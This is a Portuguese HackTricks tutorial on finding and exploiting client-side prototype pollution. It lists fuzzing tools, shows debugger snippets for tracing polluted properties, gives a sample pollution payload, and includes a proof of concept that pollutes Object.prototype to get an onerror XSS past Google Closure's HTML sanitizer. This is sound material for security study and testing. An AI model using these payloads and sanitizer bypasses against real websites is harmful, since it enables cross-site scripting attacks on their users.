Client Side Prototype Pollution

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Suporte ao HackTricks

Descobrindo usando ferramentas automáticas

As ferramentas https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap e https://github.com/kosmosec/proto-find podem ser usadas para encontrar vulnerabilidades de poluição de protótipo.

Além disso, você também pode usar a extensão do navegador PPScan para automaticamente escanear as páginas que você acessa em busca de vulnerabilidades de poluição de protótipo.

Depurando onde uma propriedade é usada

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Encontrando a causa raiz da Poluição de Protótipos

Uma vez que uma vulnerabilidade de poluição de protótipos tenha sido identificada por qualquer uma das ferramentas, e se o código não for excessivamente complexo, você pode encontrar a vulnerabilidade procurando por palavras-chave como location.hash, decodeURIComponent ou location.search nas Ferramentas de Desenvolvedor do Chrome. Essa abordagem permite que você localize a seção vulnerável do código JavaScript.

Para bases de código maiores e mais complexas, um método simples para descobrir o código vulnerável envolve os seguintes passos:

  1. Use uma ferramenta para identificar uma vulnerabilidade e obter um payload projetado para definir uma propriedade no construtor. Um exemplo fornecido pelo ppmap pode ser: constructor[prototype][ppmap]=reserved.

  2. Defina um ponto de interrupção na primeira linha do código JavaScript que será executado na página. Atualize a página com o payload, pausando a execução neste ponto de interrupção.

  3. Enquanto a execução do JavaScript estiver pausada, execute o seguinte script no console JS. Este script sinalizará quando a propriedade 'ppmap' for criada, ajudando a localizar sua origem:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Navegue de volta para a aba Sources e selecione “Resume script execution”. O JavaScript continuará executando, e a propriedade 'ppmap' será poluída como esperado. Utilizar o trecho fornecido facilita a identificação do local exato onde a propriedade 'ppmap' é poluída. Ao examinar a Call Stack, diferentes pilhas onde a poluição ocorreu podem ser observadas.

Ao decidir qual pilha investigar, muitas vezes é útil direcionar-se a pilhas associadas a arquivos de bibliotecas JavaScript, pois a poluição de protótipos frequentemente ocorre dentro dessas bibliotecas. Identifique a pilha relevante examinando sua ligação a arquivos de biblioteca (visível no lado direito, semelhante à imagem fornecida como orientação). Em cenários com várias pilhas, como aquelas nas linhas 4 e 6, a escolha lógica é a pilha na linha 4, pois representa a ocorrência inicial da poluição e, portanto, a causa raiz da vulnerabilidade. Clicar na pilha o direcionará para o código vulnerável.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Encontrando Gadgets de Script

O gadget é o código que será abusado uma vez que uma vulnerabilidade de PP seja descoberta.

Se a aplicação for simples, podemos procurar por palavras-chave como srcdoc/innerHTML/iframe/createElement e revisar o código-fonte e verificar se ele leva à execução de javascript. Às vezes, as técnicas mencionadas podem não encontrar gadgets de forma alguma. Nesse caso, a revisão pura do código-fonte revela alguns bons gadgets, como o exemplo abaixo.

Exemplo de Encontrando gadget de PP no código da biblioteca Mithil

Verifique este writeup: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Recompilação de payloads para bibliotecas vulneráveis

Bypass de HTML Sanitizers via PP

Esta pesquisa mostra gadgets de PP para usar para burlar as sanitizações fornecidas por algumas bibliotecas de HTML sanitizers:

  • sanitize-html

https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-7.png
  • dompurify

https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png
  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Referências

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated